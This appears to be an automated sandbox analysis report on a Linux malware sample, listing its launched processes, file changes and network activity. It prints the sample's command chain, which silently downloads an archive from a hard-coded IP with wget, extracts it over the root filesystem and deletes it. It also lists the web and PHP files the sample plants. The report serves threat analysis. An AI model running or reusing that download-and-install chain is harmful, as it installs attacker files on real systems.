Technical Information
Malicious functions:
Performs process tracing:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
Launches processes:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- wget -q -N http://58.215.49.94/moma/patch_all.tgz -O ./patch_all.tgz
- grep . -q patch_all.tgz
- grep -q \.tgz$
- tar -zxf ./patch_all.tgz -C /
- gzip -d
- rm -rf ./patch_all.tgz
Kills the following processes:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
Performs operations with the file system:
Modifies file access rights:
- /root/maintain
- /usr/nfs/handlers/muser
- /usr/www/handlers/muser
- /usr/bin/jitter
- /usr/nfs/inc/config.inc
- /etc/auto-autofs/auto-autofs
- /usr/nfs/handlers/mo
- /usr/www/handlers/mo
- /usr/nfs/handlers/mo2
- /usr/www/handlers/mo2
- /usr/nfs/handlers/ck
- /usr/www/handlers/ck
- /usr/nfs/handlers/sys_nfs
- /home/www/index.php
- /usr/nfs/index.php
- /usr/nfs/handlers/videotodb.php
- /usr/nfs/handlers/jstodb.php
- /usr/nfs/modules/DISK_IMPORT/index.php
- /usr/nfs/template/nfs/main_header.tpl.htm
- /usr/nfs/template/nfs/kservice3a.js
- /usr/nfs/template/nfs/style3a.css
- /home/www/inc/kui3a.js
- /home/www/inc/style3a.css
- /home/www/kui.htm
Creates folders:
- /usr/nfs
- /usr/nfs/handlers
- /usr/www
- /usr/www/handlers
- /usr/nfs/inc
- /etc/auto-autofs
- /home/www
- /usr/nfs/modules
- /usr/nfs/modules/DISK_IMPORT
- /usr/nfs/template
- /usr/nfs/template/nfs
- /home/www/inc
Creates or modifies files:
- /root/patch_all.tgz
- /root/root/maintain
- /root/maintain
- /root/usr/nfs/handlers/muser
- /usr/nfs/handlers/muser
- /root/usr/www/handlers/muser
- /usr/www/handlers/muser
- /root/usr/bin/jitter
- /usr/bin/jitter
- /root/usr/nfs/inc/config.inc
- /usr/nfs/inc/config.inc
- /root/etc/auto-autofs/auto-autofs
- /etc/auto-autofs/auto-autofs
- /root/usr/nfs/handlers/mo
- /usr/nfs/handlers/mo
- /root/usr/www/handlers/mo
- /usr/www/handlers/mo
- /root/usr/nfs/handlers/mo2
- /usr/nfs/handlers/mo2
- /root/usr/www/handlers/mo2
- /usr/www/handlers/mo2
- /root/usr/nfs/handlers/ck
- /usr/nfs/handlers/ck
- /root/usr/www/handlers/ck
- /usr/www/handlers/ck
- /root/usr/nfs/handlers/sys_nfs
- /usr/nfs/handlers/sys_nfs
- /root/home/www/index.php
- /home/www/index.php
- /root/usr/nfs/index.php
- /usr/nfs/index.php
- /root/usr/nfs/handlers/videotodb.php
- /usr/nfs/handlers/videotodb.php
- /root/usr/nfs/handlers/jstodb.php
- /usr/nfs/handlers/jstodb.php
- /root/usr/nfs/modules/DISK_IMPORT/index.php
- /usr/nfs/modules/DISK_IMPORT/index.php
- /root/usr/nfs/template/nfs/main_header.tpl.htm
- /usr/nfs/template/nfs/main_header.tpl.htm
- /root/usr/nfs/template/nfs/kservice3a.js
- /usr/nfs/template/nfs/kservice3a.js
- /root/usr/nfs/template/nfs/style3a.css
- /usr/nfs/template/nfs/style3a.css
- /root/home/www/inc/kui3a.js
- /home/www/inc/kui3a.js
- /root/home/www/inc/style3a.css
- /home/www/inc/style3a.css
- /root/home/www/kui.htm
- /home/www/kui.htm
Deletes files:
- /root/patch_all.tgz"
Network activity:
HTTP GET requests:
- 58.###.##.94/moma/patch_all.tgz
Other:
Collects RAM information
